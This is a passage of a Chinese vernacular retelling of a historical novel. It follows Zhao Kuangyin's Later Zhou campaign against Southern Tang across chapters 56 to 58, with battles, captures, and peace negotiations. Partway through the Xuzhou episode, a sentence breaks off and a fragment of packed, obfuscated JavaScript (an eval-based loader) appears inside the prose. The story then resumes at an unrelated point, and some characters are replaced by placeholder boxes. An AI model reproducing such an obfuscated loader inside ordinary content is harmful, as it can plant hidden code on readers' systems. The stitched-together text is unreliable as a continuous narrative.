赵匡胤听了,心里的气消了一半:“既然你是为了修庙,也不是故意作恶,本帅就饶了你。你还是回你的庙里去吧,好好念经,别再管红尘中的事了。等本帅平定了南唐,会派人去帮你修庙,不会让你白跑一趟。” 文修听了,大喜过望,赶紧磕了三个头:“多谢真主!弟子这就回山,再也不出来了。”他站起身,把禅杖和戒刀扔在地上,步行往山里走去,再也没回头。 赵匡胤勒马往回走,没走多远,就见众将带着兵赶了过来。“元帅,您没事吧?那贼秃呢?”众将围上来,急切地问。赵匡胤笑了笑:“那和尚被本帅劝醒了,已经回山了。”众将这才放下心来,簇拥着他回了南界关。 第二天一早,赵匡胤就带着兵来到清流关下,放炮安营。探马把消息报进关里,皇甫暉赶紧找姚凤商议:“寿州已经被周军拿下了,文修和尚也跑了,现在周军又来攻清流关,咱们肯定打不过。不如撤兵去守滁州,把桥拆了,他们就过不来了。” 姚凤急得直跺脚:“皇甫将军,清流关是重要的关口,要是丢了,滁州就危险了!咱们得死守啊!”皇甫暉却不听:“死守有什么用?周军势大,咱们守不住的!还是退到滁州安全。”他没等姚凤答应,就下令士兵收拾行李,放弃了清流关,往滁州逃去。 探马把消息报给赵匡胤,赵匡胤高兴得大笑:“这皇甫暉真是个草包!清流关这么重要的关口都敢丢,还想靠拆桥守住滁州,真是做梦!”他对部将马全义说:“马将军,你带五千兵,赶紧去砍树做木筏,趁他们还没在滁州站稳脚跟,咱们渡过河,一举拿下滁州!” 马全义领了命令,赶紧去准备。赵匡胤则亲自带着大军,跟在后面。马全义很快就做了几十只木筏,周军士兵坐着木筏,顺着河往下漂,很快就到了滁州城下。 皇甫暉刚把桥拆了,正得意洋洋地等着周军来,没料到周军会坐木筏过来。等他看到周军的木筏漂过来,顿时慌了神:“不好!周军怎么过来的?快,快守城!”可已经来不及了,马全义带着兵率先登岸,杀进了滁州城。 皇甫暉和姚凤见大势已去,只好带着残兵从南门逃了出去。赵匡胤顺利拿下了滁州,站在滁州城的城楼上,看着远处的南唐国土,心里想:“拿下滁州,南唐就再也没什么能挡得住咱们了。用不了多久,就能平定南唐,一统天下了。” 至于赵匡胤接下来还会拿下哪些城池,南唐又会有什么对策,咱们下回再讲。 57. 第 57 章 话说赵匡胤看着皇甫晖退守滁州,还把桥拆了守城,心里盘算着:“这皇甫晖是想靠断桥拖延时间,可咱们不能给他喘息的机会。”他立刻叫马全义过来,拍着马全义的肩膀说:“你带着手下的兵,趁他们还没把防守布置好,赶紧找木头扎筏子,渡过河去突袭。我带着大军跟在后面,一到滁州城下就造势,让他们乱了阵脚。” 马全义领了命令,不敢耽搁,亲自去树林里挑结实的木头,又让士兵们连夜赶工扎筏子。夜里天冷,士兵们冻得手都红了,马全义还不时给大家鼓劲:“兄弟们再加把劲,早一步渡过河,就能早一步破城,到时候咱们也能歇口气!”另一边,赵匡胤在大帐里对着地图反复看,时不时问探子:“马将军那边进度怎么样?滁州城里有动静吗?”探子回话说:“马将军的筏子快扎好了,滁州城里好像在加固城墙,皇甫晖还亲自在城上巡查呢。” 等筏子扎好,马全义带着兵偷偷渡过河,赵匡胤随后率大军赶到滁州城下,下令士兵们举起大旗大喊助威,又让鼓手把鼓敲得震天响,指名道姓要皇甫晖出来应战。皇甫晖站在城头上,看着城外密密麻麻的周兵,心里直发虚——他刚打了败仗,士兵们士气低得很,断桥本就是无奈之举,现在周兵都打到城下了,只能硬撑。他对着城下喊:“咱们各为其主,算条汉子就容我把队伍整理好,再堂堂正正打一场,别逼人太甚!” 赵匡胤听了,笑着对身边的将官说:“这皇甫晖倒还有点武将的体面,不过也成不了气候。”他扬声回怼:“既然你主动求饶,我就暂且饶你片刻,让你把队伍列好!”说完就下令士兵后退一箭的距离。皇甫晖赶紧披好盔甲,叫上副将姚凤,把城里的兵都召集起来,排着队开出城。 两边的队伍摆好阵势,周军这边赵匡胤亲自站在最前面,左边是马全义,右边是张琼;唐军那边皇甫晖骑着马出来。赵匡胤指着皇甫晖说:“你要是识时务,就赶紧把滁州献出来,我保你以后富贵不愁;要是不识抬举,等会儿脑袋掉了,可就什么都没了!”皇甫晖本来就憋着气,一听这话更怒了,举起长枪就朝赵匡胤冲过来。马全义眼疾手快,催马迎上去,两人打了起来。 也就打了几个回合,皇甫晖就觉得胳膊酸得抬不起来——马全义的力气比他大太多了,再打下去肯定要输。他心里一慌,拨转马头就想跑。马全义哪能让他跑掉,催马追上去,到了皇甫晖身后,手起刀落,直接把皇甫晖砍落马下。周兵见马全义赢了,一个个跟打了鸡血似的,大喊着冲过去。姚凤一看主将死了,吓得魂都没了,扭头就跑,刚跑没几步,就被张琼追上。张琼心里冷笑:“跑得了和尚跑不了庙!”伸手一拽,就把姚凤从马上拉下来,捆了个结实。周兵趁势杀了一阵,轻松拿下滁州,赵匡胤赶紧派人去给世宗报捷。 世宗听说滁州打下来了,特别高兴,立刻派学士窦仪去滁州清点府库里的钱粮。窦仪领了圣旨,一进滁州城就直奔府库,让手下人把库里的金银、粮食都一一登记造册,记清楚数目,等着世宗过来查验。这时候赵匡胤想着士兵们打仗辛苦,就派人去府库找窦仪,想拿些金帛绸缎赏给士兵。 窦仪一听就皱起眉头,对来的人说:“刚打下城池就把府库的东西随便拿走,这可不是好事。再说我是奉了圣旨登记造册的,这些东西现在都是官府的财产,没有圣旨,谁也不能随便拿。”来人只好回去把窦仪的话告诉赵匡胤。赵匡胤听完,叹了口气,对身边的人说:“窦公真是忠诚正直,我怎么能随便动府库的东西呢?”于是就没再提赏东西的事,让窦仪把府库的东西都留给世宗。 后来世宗到了滁州,下旨说打滁州主要是赵匡胤的功劳,要把府库里的东西都赏给赵匡胤。窦仪赶紧上前奏请:“陛下,赵元帅对朝廷忠心耿耿,肯定不会独自接受赏赐。您不如把这些东西分给将士们,让全军都能沾到您的恩宠,这样士兵们以后打仗会更卖力啊!”世宗觉得窦仪说得有道理,就让窦仪把府库里的财帛分给赵匡胤和全军将士。士兵们拿到赏赐,一个个高兴得大喊,声音大得像打雷一样。 赵匡胤又趁机向世宗推荐赵普,说赵普有大才,能帮着治理地方。世宗听了赵匡胤的推荐,就任命赵普为滁州知州。从那以后,赵匡胤经常找赵普聊天,两人越聊越投机。有一次赵匡胤问赵普怎么才能治理好天下,赵普说得头头是道,每句话都说到了点子上。赵匡胤特别高兴,之后不管遇到什么事,都喜欢找赵普商量。赵普也不藏着掖着,总是把自己的想法全说出来,帮赵匡胤分析得明明白白,每次都能给出合适的建议。 当时赵匡胤把战场上俘虏的南唐将士都关了起来,心里想着:“这些人都是敌人,留着也是麻烦,不如都杀了省心。”赵普知道后,赶紧劝他:“现在国家到处都在打仗,有本事的人很难找。元帅您不如把这些人放了,让他们为咱们效力。要是您真心对他们好,他们怎么会忘了您的恩情呢?”赵匡胤琢磨了一下,觉得赵普说得对,就先把姚凤和几个勇猛的将士放了,之后又把剩下的俘虏也都放了。后来有人写诗夸这件事,说赵匡胤和赵普君臣一心,释放俘虏的做法特别明智,当年的恩德让人佩服。 世宗进了滁州城,赵匡胤带着众将去拜见。世宗拉着赵匡胤的手说:“打下滁州,你的功劳最大,以后肯定能名留青史,这可是不朽的功绩啊!现在你威名越来越大,接下来就接着进兵,把南唐彻底扫平,别让我失望!”赵匡胤领了圣旨,回去就开始准备进兵的事。 没过几天,南唐的君主派了个牙将带着书信来滁州求和。信里说:“自从咱们开始打仗,两边都有损失,对谁都没好处。从现在起,我愿意和大周停战讲和,以后把大周当兄长对待,每年给大周送财帛,帮着大周补贴军饷。” 世宗看完信,心里很不高兴——这信里的语气一点都不恭敬,根本没把大周放在眼里。他把赵匡胤叫来商量,赵匡胤说:“陛下,现在您的御驾已经进入南唐境内,李穀等将领又守在险要的地方。南唐只有扬州一带兵力薄弱,咱们派轻骑兵去偷袭,肯定能一下子打下来。到时候您带着大军在扬州耀武扬威,金陵的南唐君主肯定会乖乖过来投降!”世宗听了特别高兴,立刻下旨让赵匡胤安排。 赵匡胤下令让韩令坤带五千士兵去偷袭扬州。韩令坤接过令箭,正要出发,赵匡胤拉住他叮嘱:“将军这次去取扬州,千万不能伤害百姓。扬州有李氏的陵墓,你要派人守好,别让人去挖坟,知道吗?”韩令坤心里一暖,赶紧点头:“元帅放心,我知道百姓不容易,肯定不会让士兵骚扰他们,李氏陵墓我也会安排人严加看守!” 韩令坤带着兵赶到扬州,扬州的百姓一听说周兵来了,都吓得心里发慌,守城的士兵更是没了底气,没等周兵攻城就先跑了。扬州守将马延曾看着乱哄哄的场面,心里急得团团转——打肯定打不过,跑又怕被抓住。他突然想到一个主意,赶紧跑进后堂,找了把剪刀把自己的胡子头发都剪了,又找了件僧衣穿上,装成和尚的样子,从南城的小门洞偷偷跑了。 城里没了守将,百姓们商量着:“咱们也别抵抗了,开城门投降吧,这样还能保住性命。”于是大家打开城门,举着白旗迎接韩令坤进城。韩令坤进了城,立刻下令:“谁要是敢骚扰百姓,抢东西,一律斩首!”他还派士兵在城里巡逻,看到有士兵想拿百姓家的鸡,当场就把那士兵斩了。百姓们见周兵不扰民,都放下心来,扬州城很快就恢复了往日的秩序。 韩令坤派人把拿下扬州的消息告诉世宗,世宗特别高兴,又下旨让赵匡胤去取泰州。赵匡胤领了圣旨,带着大军往寿塘关进发,在离关好几里的地方停下来,放了炮表示要安营扎寨。 寿塘关的守将叫王豹,这天正在中堂处理公务,突然有探子跑进来报告:“将军,周主派宋王赵匡胤带着兵来打咱们了,您快想想办法吧!”王豹心里一惊,赶紧下令:“快让士兵们把城门关好,加强防守,别让周兵轻易进来!” 过了一夜,第二天两边都摆开阵势准备打仗。王豹是个步将,用的是一条镔铁棍,力气大得能敌过一万个人,腰上还挂着两个铜铃,最厉害的是他养了一条跟马驴差不多大的狗——这狗是他养了三年的,取名“黑煞”,平时用生肉喂,专门训练它上战场咬人,军队里的人都叫王豹“铁棍神犬将军”。 王豹带着兵出关,和周营对峙。两边摆好阵势后,王豹迈着大步出来叫阵。周营里右营总兵吴轮站出来说:“元帅,末将愿意去会会他!”赵匡胤点头同意。吴轮骑着马出阵,和王豹互相报了姓名,两人立刻打了起来。 打了三十多回合,王豹渐渐有点撑不住了——吴轮的刀法又快又狠,他的铁棍越来越沉。王豹心里想:“再打下去要输,得用‘黑煞’才行。”他虚晃一棍,转身就跑。吴轮以为王豹怕了,催马追上去。王豹趁机从腰里拿出铜铃,使劲摇了几下。只见唐军阵后突然窜出一条大狗,正是“黑煞”,它直奔吴轮,一口咬住吴轮的腿,使劲一扯,吴轮惨叫一声从马上摔下来。王豹回头冲过来,一棍砸在吴轮头上,吴轮当场就死了。王豹把吴轮的头砍下来藏好,又把“黑煞”叫回来,再次到周营前叫阵。 探子把吴轮战死的消息报进周营,赵匡胤大吃一惊:“怎么这么快就被他伤了大将?”探子详细说:“那南唐的步将用铁棍和吴总兵打,打不过就跑,吴总兵追上去,他就放出一条大狗,把吴总兵咬下马,然后一棍打死了吴总兵。”赵匡胤气得拍了桌子,问:“谁还敢去把那王豹抓来?” 郑恩立刻站出来说:“元帅,小弟去!我一定亲手斩了王豹,为吴轮报仇!”赵匡胤担心地说:“三弟,你去可以,但一定要小心,那狗很凶。”郑恩满不在乎地说:“元帅放心,以前在孟家庄,连鹿精我都能打死,现在有兵有将,还怕一条狗不成?”他走出营门,对自己的家将说:“你们待会儿看到那条狗,就一起冲上去,用刀把它砍死!”家将们赶紧点头。 郑恩来到阵前,对着唐军大营大骂:“王豹你这贼将,敢杀我大周的大将,赶紧出来受死,不然我踏平你的营寨!”王豹听了大怒,举起铁棍就朝郑恩打过来。郑恩举起大刀挡住,两人打了起来。打了二十多回合,王豹的力气跟不上了,心里又开始盘算用狗,于是转身就跑。郑恩没多想,催马追上去。 王豹又摇了摇铜铃,“黑煞”再次窜出来,朝着郑恩就咬。郑恩大叫一声:“不好!”赶紧挥刀去砍,可“黑煞”跑得太快,一下子跳起来咬住了郑恩的右臂。郑恩疼得大喊:“家将们快过来!”可他刚才追得太急,家将们还没跟上来。王豹见“黑煞”咬住了郑恩,赶紧举起铁棍,朝着郑恩的头砸下去。 郑恩来不及招架,只能赶紧低头,心里慌得不行。就在这时候,只听“轰隆”一声响,郑恩的头顶冒出一道黑光,紧接着出现一只黑虎,张着牙舞着爪,一下子抓住了王豹的铁棍。王豹吓得魂飞魄散——他从没见过这种场面,还以为是妖怪,转身就跑。“黑煞”见了黑虎,吓得尿都流出来了,瘫在地上一动不动。正好郑恩的家将赶过来,一顿刀砍□□,把“黑煞”砍成了肉泥。 郑恩这才缓过神来,看到“黑煞”死了,又看到王豹躲在唐军的门旗下面发呆,心里的火气更旺了,不管右臂还在疼,催马追上去。王豹没办法,只能硬着头皮举棍迎战,没打几个回合就败了,转身往寿塘关跑。郑恩骑着马,跑得比王豹快多了,快到关门前,王豹跑不动了,郑恩一刀下去,把王豹砍成了两段。这真是:空有平定天下的志向,到头来自己和狗一起死了。 郑恩斩了王豹,带着兵去取寿塘关。守关的副将见主将死了,知道打不过,都打开城门投降。郑恩带着兵进了寿塘关,找地方驻扎下来。 赵匡胤听说郑恩拿下了寿塘关,特别高兴,一边派人去给世宗报捷,一边带着大军进关。进关后,他清点了投降的士兵,有一万多人,还有无数的盔甲和兵器。赵匡胤立刻贴出告示安抚百姓,又派人清点府库,还把郑恩的功劳记了下来,安排士兵把吴轮的尸体收葬了。他让士兵们休息了五天,然后才整理队伍,准备继续进兵。 第六天,赵匡胤留下将领守寿塘关,自己带着大军去取凤翔关。凤翔关的守将叫刘猛,外号“花枪将”,这天正在公堂处理事情,有巡城的将校跑进来报告:“将军,城外有几百个败兵跑来求救,说从寿州逃过来的。”刘猛皱了皱眉,问:“他们真是寿州来的?”将校说:“他们是这么说的,还拿出了寿州守军的腰牌。”刘猛想了想:“既然是败兵,就放他们进来吧,编到咱们的队伍里,正好能补充兵力。”他又叮嘱守城的士兵:“加强防守,别让周兵趁机偷袭。” 这边赵匡胤带着兵到了凤翔关,在离关十里的地方安营。众将都来拜见赵匡胤,赵匡胤问:“谁愿意带兵去取凤翔关?”正印先锋高怀亮站出来说:“元帅,我自从到了南唐,还没立过什么功劳,这次就让我带手下的人去取关吧!”赵匡胤笑着说:“有将军去,这凤翔关肯定能拿下来!” 高怀亮辞别赵匡胤,上了马,带着兵直奔凤翔关前叫阵。探子把消息报进关里,刘猛赶紧点齐士兵,开城门出战。两边摆好阵势,刘猛和高怀亮也不互通姓名,直接打了起来。打了三十多回合,高怀亮心里想:“这刘猛枪法不错,不能跟他硬拼,得用巧劲。”他悄悄拿出藏在枪杆里的“夹枪”——这是他的独门兵器,平时藏在长枪里,关键时刻能突然伸出来。高怀亮大喝一声:“中!”夹枪一下子伸出来,正好打中刘猛的肩窝。刘猛疼得大叫一声,从马上摔下来。高怀亮赶上去,又补了一枪,刘猛当场死了。 高怀亮挥挥手,周兵大喊着冲上去,南唐兵吓得四散逃跑,周兵趁机拿下了凤翔关。高怀亮进了关,贴出告示安抚百姓,又赏了士兵,清点了府库,然后派人去给赵匡胤报捷。 赵匡胤收到捷报,赶紧写奏折告诉世宗,然后带着大军进了凤翔关。高怀亮来拜见,赵匡胤高兴地说:“将军拿下凤翔关,功劳可不小啊!”让人把高怀亮的功劳记在功劳簿上。 大军在凤翔关停留的时候,军需官李顺慌慌张张地来报告:“元帅,咱们军里的士兵越来越多,粮食和钱却不够了,这可怎么给士兵发军饷啊?”赵匡胤听了,心里也犯了愁——军饷发不出来,士兵们肯定会有怨言,可现在又没地方弄钱。他赶紧写奏折,把军粮短缺的事告诉世宗。 世宗收到奏折,急得跟大臣们商量,可大家想了半天,也没想出办法。这时候有个叫杨子禄的大臣站出来说:“陛下,我听说这附近有个铜佛寺,寺里有三尊一丈六高的铜佛像。不如咱们把这些铜佛像熔化了,开个铸钱局铸钱,发给士兵当军饷用。等平定了南唐,再重新铸佛像还给铜佛寺,这也是个应急的办法啊!” 世宗觉得这个办法可行,可另一个大臣王大人立刻反对:“陛下,不行啊!要是把佛像毁了铸钱,会得罪神灵的,对国家不好啊!”世宗摇摇头说:“你说得不对。我听说佛祖当年为了救众生,还割自己的肉喂老鹰、舍自己的命喂老虎,何况这些铜佛像只是用来让人瞻仰的?现在军饷要紧,先顾着眼前的事!”他立刻下旨,召来工匠,在铜佛寺旁边开了个铸钱局,把铜佛像熔化了铸钱,还规定这钱可以和银子一起用。 可没想到,这钱上印着大周的年号,南唐根本不承认,不能在南唐境内流通。更可气的是,周兵们都把银子藏起来,只拿这种新钱去买东西。南唐的百姓怕周兵走了以后,这钱就成了废钱,都不愿意收。一时间,百姓们怨声载道,很多做生意的人都亏了本。 有个叫王德盛的人,在凤翔关开了家布店,家里还有个生病的女儿,全靠布店的收入给女儿抓药。这天,几个周兵来买布,拿出的全是新铸的钱。王德盛赶紧说:“军爷,这钱我们不收啊,周兵走了就没用了!”可周兵根本不管,抢了布就走。王德盛看着空荡荡的柜台,又想到女儿还等着钱抓药,心里又气又恨:“这些当官的只想着打天下,根本不管我们百姓的死活!我不如去杀了他们,就算死了也值!” 他找了把锋利的刀藏在身上,偷偷溜到铸钱局。当时赵匡胤正坐在中间,两边站着文武官员,正在给士兵发新钱。王德盛想趁着人多,悄悄溜到赵匡胤身边行刺,可他眼神里的杀气太重,一下子被赵匡胤看穿了。赵匡胤大喝一声:“家将们,这个人不对劲,快把他抓起来!” 几个家将立刻冲上去,把王德盛按在地上,从他身上搜出了刀。家将们把王德盛绑起来,推到赵匡胤面前说:“元帅,这个人是奸细,身上还带着刀,您看怎么处置?” 赵匡胤看着王德盛,见他站在那里不跪,脸上满是怒气,就问:“你是谁派来的?藏着刀想杀谁?”王德盛大声骂道:“你们这些昏君昏臣!上面的人不知道下面的苦!你们想夺天下,跟我们百姓有什么关系?没粮食没钱,就把佛像熔了铸钱,等你们走了,这钱就是一堆废铜!你们的士兵还强买强卖,把我们的本钱都坑走了,我们还怎么活?我就是来杀你的,可惜没成功!要杀要剐,悉听尊便!” 赵匡胤听了,气得脸都红了:“你这刁民!这钱是万岁下旨铸的,上面有天子的年号,怎么不能用?等平定了南唐,自然有收这钱的办法!你竟敢来行刺,简直无法无天!今天要是不杀你,这钱就没法流通了!”他叫左右把王德盛拉到铸钱局门外,斩了头挂在旗杆上示众,让百姓们别再反抗用新钱。 之后赵匡胤又写奏折告诉世宗,把铸钱局停了,还派了将领守凤翔关,然后带着大军去取徐州。 徐州的守将姓丹,叫丹托,大家都称他“丹令公”。他有两个儿子,分别叫丹銮和丹凤,还有手下一班将领,都是勇猛无比的人,管着三万士兵守徐州。这天丹托正和两个儿子商量周兵来犯的事,有探子跑进来报告:“将军,寿塘关的王豹、凤翔关的刘猛都战死了,关口都被周兵占了!现在周兵又要来打徐州了!” 丹托听了,心里一沉,对两个儿子说:“我听说赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高怀亮上了马,端着长枪,带着兵往徐州城去。走在半路上,就遇到了丹托的兵。两边摆开阵势,唐军阵里丹銮骑着马出来了。高怀亮看着丹銮,大喝一声:“贼将,报上名来!”丹銮也不甘示弱:“我是大唐皇帝手下,丹令公的儿子丹銮!你是谁,敢来犯我徐州?”高怀亮冷笑:“我是周天子驾前横胆将军,赵元帅手下的正印先锋高怀亮!你这无名小子,别来送死,让丹托出来受死!” 丹銮气得脸都青了,举起刀就朝高怀亮砍过来。高怀亮挺枪挡住,两人打了起来。他们都拿出了看家本领,打得难解难分。打了二十多回合,丹銮心里想:“这高怀亮果然名不虚传,我打不过他。”他渐渐招架不住,拨转马头就跑。高怀亮大喊一声:“别跑!”催马追上去,一□□中丹銮的左胁。丹銮惨叫一声,从马上摔下来,当场死了。 唐军阵里的丹凤看到哥哥死了,气得眼睛都红了,拍马冲出来,大骂:“高怀亮你这贼将,敢杀我哥哥,我跟你拼了!”他举起手里的挝(一种类似锤子的兵器)就朝高怀亮打过来。高怀亮把长枪往上一挡,“铛”的一声,丹凤的胳膊震得发麻,在马上晃了好几下,差点摔下来。丹凤不甘心,又举挝打过来,可没打十个回合,高怀亮就拿出了马鞭——他的马鞭是铁做的,特别重。高怀亮用长枪架开丹凤的挝,一马鞭打在丹凤的肩窝上。丹凤疼得大叫,从马上摔下来,也死了。可怜丹托的两个儿子,一会儿工夫就都死在了高怀亮手里。这真是:将军有胆有勇,天下闻名,连敌人听了都害怕。 高怀亮割下丹銮、丹凤的头,让人敲着鼓,高高兴兴地回营见赵匡胤,报告自己的功劳。 另一边,南唐的败兵跑回徐州城,把丹銮、丹凤战死的消息告诉丹托。丹托一听,当场就哭了:“我还没来得及杀敌人,我的两个儿子就先被高怀亮杀了,这仇我一定要报!”他让人把两个儿子的尸体收回来安葬,一边派人去金陵向唐主求救,一边按照陶荣的计策,连夜安排——让人把吊桥改成活桥,在河里钉上涂了毒的铁桩,又在城墙上埋伏好弓箭手。 第二天,丹托带着兵出城,指名道姓要高怀亮出来打仗。探子把消息报进周营,高怀亮立刻来见赵匡胤:“元帅,丹托这老贼敢指名骂我,我一定要杀了他,拿下徐州城!”赵匡胤担心地说:“将军,丹托刚失去两个儿子,肯定会用计报复,你不能亲自去,得防备着点!”可高怀亮一心想立功,根本不听:“元帅放心,丹托就是个丧家之犬,我肯定能杀了他!”他带着兵出了营。 两边摆好阵势,高怀亮一马当先,对着唐军大喊:“丹托老贼,快出来受死!”丹托看到杀子仇人,气得胸口发疼,大骂:“高怀亮你这贼子!你是高行周的儿子吧?竟敢杀我的两个儿子,我今天一定要杀了你,为我儿子报仇!”说完,丹托拍马提刀,朝高怀亮冲过来。高怀亮挺枪迎战。 打了没几个回合,丹托心里想:“该用计了。”他虚晃一刀,拨转马头就跑。高怀亮心里暗喜:“丹托没了儿子,肯定慌了,现在正是抢关的好机会!”他催马追上去,根本没注意到前面的吊桥有问题。唐军的败兵都往两边的河边跑,丹托自己则往吊桥那边跑,守桥的士兵等丹托过了桥,立刻把桥的机关松动了——这是他们约定好的信号。 高怀亮追到吊桥边,没多想就冲了上去。可他骑的马是战马,又壮又重,他身上还穿着盔甲、拿着长枪,重量更大。刚跑到桥中间,只听“咔嚓”一声,吊桥的桥板断了!高怀亮连人带马掉进了河里。河里的铁桩一下子戳中了高怀亮的腿,他疼得大叫,还没等他爬起来,城墙上的弓箭手就放箭了,密密麻麻的箭射下来,高怀亮当场就死了。 跟在后面的家将们赶到河边,看到高怀亮中了计,掉进河里被射死,却没办法上前救——城墙上还在放箭,他们一靠近就会被射中。家将们只能放声大哭,赶紧回营把消息告诉赵匡胤。 赵匡胤听说高怀亮死了,大吃一惊,眼泪一下子就流了下来——他不是不提醒过高怀亮,可高怀亮太贪功,才送了命。众将听说高怀亮死了,也都很伤心,一起对赵匡胤说:“元帅,我们愿意一起去攻城,抓住丹托,为高将军报仇!”赵匡胤点点头,同意了。 第二天,郑恩等将领带着兵到徐州城下,一边骂阵一边攻城。丹托在城墙上看着周兵打得那么凶,心里害怕,不敢出城迎战,只能让士兵们拼命防守。赵匡胤气得亲自督战,让士兵们奋力攻城,可攻了好几天,还是没把徐州城攻下来。 丹托在城里跟将领们商量:“周兵太勇猛了,攻城又这么急,咱们的士兵少,城墙也快守不住了。不如放弃徐州,先跑了再说,以后再找机会报仇?”众将都点头:“令公说得对,再守下去也是死,咱们赶紧跑吧!”于是,丹托和将领们连夜收拾东西,打开城门,杀开一条路,逃跑了。周兵想追,可天黑路滑,没追上,只能回来。 城里没了守将,百姓们赶紧摆上香案、鲜花,打开城门迎接周兵。赵匡胤带着众将进了城,贴出告示安抚百姓,又让人去河里把高怀亮的尸体捞上来,用一口好棺材装起来,准备等打完仗带回京城安葬。赵匡胤又让人清点了府库,让士兵们休息,然后派探子去南唐,打听唐主的动静。 再说南唐的君主,听说扬州、滁州这些地方都被周兵占领了,吓得六神无主,赶紧召集大臣们商量。有个叫陈景的御史站出来说:“陛下,之前咱们派人去求和,周主不同意,才导致咱们的地盘越来越小。现在情况危急,光靠打仗是赢不了的,您不如再派人去周主的营里,态度放谦卑点求和,这样才能停止战争啊!” 唐主听了,赶紧派翰林学士钟谟、大理寺卿李德明两个大臣,带着奏折和金银、茶叶、器皿这些礼物,去滁州见世宗。世宗知道钟谟、李德明是能说会道的人,肯定会来游说,就故意让士兵们排好队伍,盔甲鲜明地站在帐外,又让勇猛的将领们站在帐两边,然后才让人把钟谟、李德明叫进来。 钟谟、李德明进了帐,赶紧跪在地上磕头。世宗看着他们,脸色阴沉地说:“你们的君主自认为是唐朝的后代,应该懂礼仪,跟别的国家不一样。可他不仅不懂‘以小事大’的道理,还想渡海联合契丹,对抗天朝,你们以为凭着你们的三寸不烂之舌,就能说动我吗?我正打算亲自去金陵看看,顺便用你们府库里的东西赏给我的士兵,你们的君主和大臣们,现在后悔了吗?” 钟谟、李德明被世宗骂得一句话都说不出来,吓得浑身发抖,赶紧磕头退了出去。 世宗随后亲自率领大军继续进兵。这时候已经是深秋,只见树叶飘飘悠悠地落下来,大雁排成队往南飞,周兵的旗帜在风中飘动,阵地上的云雾显得特别高。大军到了淝桥,世宗从马上下来,捡起一块石头拿在手里——他是想告诉士兵们,要像这块石头一样坚定,拿下南唐。士兵们见世宗这样,也都纷纷捡起石头,士气一下子提了上来。 大军到了寿春城下,世宗下旨攻城。城上的南唐兵拼命抵抗,箭和石头像下雨一样往下扔。周兵的部将张琼看到世宗站在城下督战,心里特别担心:“主上站在这么危险的地方,要是被箭射中怎么办?”他赶紧冲过去,对世宗大喊:“主上,快躲开,城上的弩箭很厉害!” 可就在张琼说话的时候,一支弩箭突然从城上射下来,正好射中张琼的后背。这一下可有好戏看了——敌人还在顽抗,战场上还会有将领拼命;大周的军队要想回去,还得靠将士们继续出力。这真是:不是害怕战场上的风沙让马受惊,只是士兵们已经很疲惫了。 到底张琼能不能活下来,咱们下一回再讲。 58. 第 58 章 话说周世宗压根不答应南唐的求和,亲自统领大军直奔寿春,一心要拿下这座重镇。大军刚到城下,世宗就下旨攻城,城头上顿时箭如雨下、石头乱飞,周兵冲了几次都被打了回来。部将张琼眼瞅着箭石越来越密,赶紧挤到世宗身边,大声劝道:“陛下,这里太危险,您快退到后面去!”可话还没说完,城上“嗖”地飞来一支冷箭,不偏不倚扎在张琼背上,他闷哼一声就倒了下去,过了好一会儿才慢慢醒过来。 士兵们赶紧把张琼抬回营中,解开铠甲一看,那箭头深深扎进骨头里,怎么拔都拔不出来。张琼咬着牙,让手下递来一大碗酒,仰头一饮而尽,酒液顺着嘴角流到衣襟上,他却毫不在意,只对身边的亲兵说:“拿把快刀来,直接砍开骨头取箭头,别磨蹭!”亲兵们手都在抖,张琼见了,反而笑了笑:“怕什么?我张琼打仗这么多年,这点伤算得了什么?要是你们手抖取不出箭头,咱们今天都得在这儿交代!”亲兵们咬咬牙,拿刀小心翼翼地划开骨头,鲜血一下子涌了出来,流了好几升,可张琼自始至终没皱一下眉,连脸色都没怎么变。后人有诗称赞他: 万马南下杀气高,危难时刻显英豪。 箭头深扎心更烈,只为君王不辞劳。 另一边,钟谟、李德明两人回到南唐,赶紧去见唐主李璟,把周世宗不答应求和的事说了一遍,最后补充道:“陛下,周世宗之所以不松口,说到底还是因为您不肯向他称臣啊!现在情况紧急,您不如先奉表称臣,好歹能让百姓少受点战乱之苦。”李璟本来就怕周兵打过来,听两人这么一说,赶紧点头答应,派司空孙晟、礼部尚书王崇质带着表文去见周世宗,说愿意每年向周朝进贡,岁岁称臣。 孙晟和王崇质领了旨意,一路赶到周营拜见世宗,把唐主愿意称臣的事说了。世宗却摇摇头:“这事我本来可以答应,但刘仁赡还守着泰州,一次次跟我作对,他要是肯来投降,我才放你们回去议和。”说完,就派宦官跟着孙晟两人去泰州城下,让他们劝刘仁赡归降。 刘仁赡听说使臣来了,赶紧穿上铠甲登上城楼,见了孙晟、王崇质,当场就拜了下去。孙晟凑到城墙边,压低声音对刘仁赡说:“刘将军,您受南唐厚恩,可不能轻易投降啊!就算拼到最后一刻,也得守住泰州!”刘仁赡听了,重重地点头,谢过孙晟的提醒,转身就下令士兵加强防守,半点没有投降的意思。 宦官回去把这事告诉世宗,世宗气得火冒三丈,立刻让人把孙晟抓来,就要下令斩首。孙晟却面不改色,大声说:“我是南唐的宰相,怎么能劝自己国家的节度使投降?就算死,我也不能做这种不忠不义的事!”世宗见他这么忠诚,心里反而佩服起来,就赦免了他的罪,让他回南唐给李璟带话,临走前还警告他:“回去告诉你家主子,早点拿定主意,别等我大军攻城,到时候后悔都来不及!” 孙晟回到南唐,把世宗的意思一五一十告诉李璟,还说世宗其实就两个条件:一是南唐去掉帝号,二是割让六个州的土地,再送一百万金帛,这样才能停战。李璟早就吓破了胆,赶紧答应下来,又派孙晟和李德明再去周营,准备献上六州之地求和。可世宗还是不满足,冷冷地说:“要想称臣,就得把长江以北的土地全交出来,不然免谈!”说完就把两人打发回去,还写了封信给李璟: “要是南唐把各州都献出来,我立刻下令撤兵;不过你们得先去掉帝号,这又不是什么难事。要是你们真心侍奉我朝,我也不会把人逼到绝路。话就说到这儿,不用再回信了。要是你们不答应,那咱们就接着打!” 李璟收到信,只好再上表称臣谢罪。李德明在旁边一个劲说周世宗有多厉害,周兵有多精锐,劝李璟赶紧把江北之地割让出去,免得吃更大的亏。可李璟还是犹豫不决,这时枢密使陈觉、副使李徵站了出来——这两人早就跟孙晟、李德明有仇,趁机在李璟面前挑拨:“陛下,李德明劝您割地,孙晟更是卖主求荣!他们俩这次去周营,肯定是收了周世宗的好处,想当周朝的官,所以才这么不忠于您啊!” 